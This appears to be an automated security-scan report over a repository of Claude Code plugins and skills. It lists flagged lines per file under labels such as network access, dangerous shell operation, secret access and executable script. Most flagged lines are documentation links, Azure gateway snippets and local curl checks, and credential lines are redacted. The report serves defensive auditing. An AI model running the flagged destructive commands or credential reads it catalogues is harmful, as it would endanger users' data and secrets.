2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Dangerous shell operationline 275
rm -rf node_modules - Network accessline 309
curl -s http://localhost:4401/sse | head -1 - Network accessline 326
- **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues) - Network accessline 327
- **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions) - Network accessline 328
- **Penpot Community**: [community.penpot.app](https://community.penpot.app/)
harness/claude-code/plugins/visual-pr/.claude-plugin/plugin.json
harness/claude-code/plugins/visual-pr/skills/pr-screenshots/SKILL.md
harness/claude-code/plugins/visual-pr/skills/ui-screenshots/SKILL.md
harness/claude-code/plugins/web-framework-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/web-framework-development/skills/gsap-framer-scroll-animation/SKILL.md
- Network accessline 9
metadata: author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" - Network accessline 10
author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" --- - Network accessline 11
author_url: "https://github.com/utkarsh232005" - Network accessline 182
- [Author profile](https://github.com/utkarsh232005)
harness/claude-code/plugins/web-framework-development/skills/gsap-framer-scroll-animation/references/gsap.md
harness/claude-code/plugins/web-framework-development/skills/markstream-install/SKILL.md
- Network accessline 11
JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5. documentation: "https://markstream.simonhe.me/" - Network accessline 12
Next.js, Angular 20+, or Svelte 5. documentation: "https://markstream.simonhe.me/" source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 13
documentation: "https://markstream.simonhe.me/" - Network accessline 14
source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 41
Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue . - Network accessline 176
- [Installation](https://markstream.simonhe.me/guide/installation) - Network accessline 177
- [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming) - Network accessline 178
- [Performance](https://markstream.simonhe.me/guide/performance) - Network accessline 179
- [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting) - Network accessline 180
- [Component overrides](https://markstream.simonhe.me/guide/component-overrides)
harness/claude-code/plugins/where-was-i/.claude-plugin/plugin.json
harness/claude-code/plugins/windows-app-storage-inspector-cleanup/.claude-plugin/plugin.json
harness/claude-code/plugins/work-hub/.claude-plugin/plugin.json
harness/claude-code/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md
- Network accessline 46
- What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)
harness/claude-code/skills/acquire-codebase-knowledge/scripts/scan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/acreadiness-assess/report-template.html
- Network accessline 222
<footer> Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 223
Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 224
· powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.
harness/claude-code/skills/ad-campaign-analyzer/SKILL.md
- Network accessline 12
Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: "https://github.com/gooseworks-ai/goose-skill - Network accessline 13
screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: "https://github.com/gooseworks-ai/goose-skills" version: "'1.0'" - Network accessline 14
source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 222
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
harness/claude-code/skills/add-educational-comments/SKILL.md
- Network accessline 50
| Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | - Network accessline 52
| Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. | - Network accessline 156
- [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)
harness/claude-code/skills/adobe-illustrator-scripting/references/extended-guide.md
- Network accessline 821
- [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`) - Network accessline 822
- [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation
harness/claude-code/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx
- Executable scriptline 1
Executable file
harness/claude-code/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx
- Executable scriptline 1
Executable file
harness/claude-code/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx
- Executable scriptline 1
Executable file
harness/claude-code/skills/agent-governance/SKILL.md
- Network accessline 156
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 157
- [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 158
- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
harness/claude-code/skills/agent-owasp-compliance/SKILL.md
- Dangerous shell operationline 60
| ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex - Dangerous shell operationline 61
| ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with - Network accessline 139
- [OWASP Agentic AI Threats](https://genai.owasp.org/) - Network accessline 140
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 141
- [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)
harness/claude-code/skills/agent-skill-stack/references/security-installation.md
- Access to secretsline 18
[Credential-related source omitted]
harness/claude-code/skills/agent-skill-stack/scripts/inventory_skills.py
harness/claude-code/skills/agent-skill-stack/scripts/project_profile.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/agent-skill-stack/scripts/render_stack_card.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 80
parts = [ f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">', - Network accessline 81
f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
harness/claude-code/skills/agent-skill-stack/scripts/skill_index.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/agent-skill-stack/scripts/stage_install.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/agent-supply-chain/SKILL.md
- Network accessline 184
- [OpenSSF SLSA](https://slsa.dev/) - Network accessline 185
- [npm Provenance](https://docs.npmjs.com/generating-provenance-statements) - Network accessline 186
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 187
- [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)
harness/claude-code/skills/ai-ready/SKILL.md
- Network accessline 26
This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`. - Network accessline 99
- [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth. - Network accessline 108
- [John Papa](https://github.com/johnpapa) - Network accessline 109
- [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)
harness/claude-code/skills/anti-ui-slop/SKILL.md
- Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing U - Network accessline 5
repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before choosing a layout, or when the user wants a - Network accessline 6
skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before - Network accessline 27
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 48
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 154
- [UIZZE public catalogue](https://uizze.com)
harness/claude-code/skills/api-testing/SKILL.md
- Network accessline 123
- [OpenAPI Specification](https://spec.openapis.org/oas/latest.html) - Network accessline 124
- [GraphQL specification](https://spec.graphql.org/) - Network accessline 125
- [JSON Schema](https://json-schema.org/specification) - Network accessline 126
- [RFC 9110: HTTP Semantics](https://www.rfc-editor.org/rfc/rfc9110.html)
harness/claude-code/skills/apim-ai-gateway/SKILL.md
- Network accessline 133
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 134
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 135
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 136
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/claude-code/skills/apim-ai-gateway/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/apim-ai-gateway/references/patterns.md
- Network accessline 13
- APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance)) - Network accessline 65
az apim api import --service-name <apim-name> --resource-group <rg> --api-id azure-openai-api --path "openai" --specification-format OpenApi --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs - Network accessline 69
--path "openai" \ --specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" - Network accessline 70
--specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ --service-url " - Network accessline 71
--specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ - Network accessline 81
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 82
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 83
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 116
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 117
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 118
"https://aoai-eastus.openai.azure.com", - Network accessline 119
"https://aoai-westus.openai.azure.com" - Network accessline 124
}" /> <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 125
<set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 126
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 134
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 135
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 136
"https://aoai-eastus.openai.azure.com", - Network accessline 137
"https://aoai-westus.openai.azure.com" - Network accessline 177
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 178
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 179
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 216
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 217
<authentication-managed-identity resource="https://cognitiveservices.azure.com" />
harness/claude-code/skills/apim-ai-gateway/references/policies.md
- Network accessline 231
<!-- 1. Authentication --> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 232
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 309
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 310
- [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies) - Network accessline 311
- [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)
harness/claude-code/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md
- Access to secretsline 17
[Credential-related source omitted]
harness/claude-code/skills/apim-ai-gateway/references/troubleshooting.md
- Network accessline 17
| Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us - Network accessline 18
| Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint - Network accessline 19
| Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) | - Network accessline 94
# Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 95
curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 212
# Send request with tracing curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 213
curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 256
# 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 257
curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 268
- [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems) - Network accessline 269
- [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics) - Network accessline 270
- [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)
harness/claude-code/skills/appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/claude-code/skills/appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/arduino-azure-iot-edge-integration/SKILL.md
- Network accessline 28
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 32
- https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/ - Network accessline 33
- https://docs.arduino.cc/ - Network accessline 34
- https://docs.arduino.cc/language-reference/ - Network accessline 135
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 136
- [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/) - Network accessline 137
- [Arduino documentation](https://docs.arduino.cc/) - Network accessline 138
- [Arduino language reference](https://docs.arduino.cc/language-reference/)
harness/claude-code/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md
harness/claude-code/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md
- Network accessline 7
- Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 8
- Arduino docs home: <https://docs.arduino.cc/> - Network accessline 9
- Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 10
- Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/> - Network accessline 11
- Arduino language reference: <https://docs.arduino.cc/language-reference/> - Network accessline 12
- Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/> - Network accessline 13
- Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/> - Network accessline 14
- Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/> - Network accessline 15
- Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/> - Network accessline 16
- Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/> - Network accessline 17
- Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>
harness/claude-code/skills/arize-ai-provider-integration/SKILL.md
- Access to secretsline 54
[Credential-related source omitted] - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 115
| `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I - Network accessline 116
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 139
ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1" - Network accessline 154
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m - Network accessline 155
| `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use - Network accessline 156
| `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. | - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Network accessline 221
- [Arize API Keys](https://app.arize.com/admin) - Network accessline 222
- [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/) - Network accessline 223
- [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models) - Network accessline 224
- [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1) - Network accessline 225
- [Updated endpoint example](https://new-endpoint.example.com/v1)
harness/claude-code/skills/arize-ai-provider-integration/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-annotation/SKILL.md
- Network accessline 32
- Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user - Network accessline 34
- If the user needs an API key, direct them to https://app.arize.com/admin > API Keys. - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Network accessline 212
| `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run - Network accessline 213
| Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/ - Network accessline 214
| `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |
harness/claude-code/skills/arize-annotation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-dataset/SKILL.md
- Network accessline 45
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 46
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 47
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
harness/claude-code/skills/arize-dataset/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-evaluator/SKILL.md
- Network accessline 33
| --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks - Network accessline 34
| `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct - Network accessline 35
| `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Access to secretsline 37
[Credential-related source omitted] - Network accessline 91
Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys - Network accessline 148
- [Arize admin API keys](https://app.arize.com/admin) - Network accessline 149
- [Arize support](https://arize.com/support)
harness/claude-code/skills/arize-evaluator/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-evaluator/references/evaluator-crud-workflows.md
- Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 423
|---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | - Network accessline 424
| `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` | - Network accessline 425
| `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
harness/claude-code/skills/arize-experiment/SKILL.md
- Network accessline 35
| `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f - Network accessline 36
| Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut - Network accessline 37
| API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 127
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Network accessline 179
| `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app. - Network accessline 180
| Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil - Network accessline 181
| `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | - Access to secretsline 209
[Credential-related source omitted] - Network accessline 255
- [Arize API keys](https://app.arize.com/admin)
harness/claude-code/skills/arize-experiment/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-instrumentation/SKILL.md
- Network accessline 10
Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for setup de - Network accessline 11
auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for setup details. version: 1.0 - Network accessline 12
spans. See https://arize.com/docs/PROMPT.md for setup details. - Network accessline 32
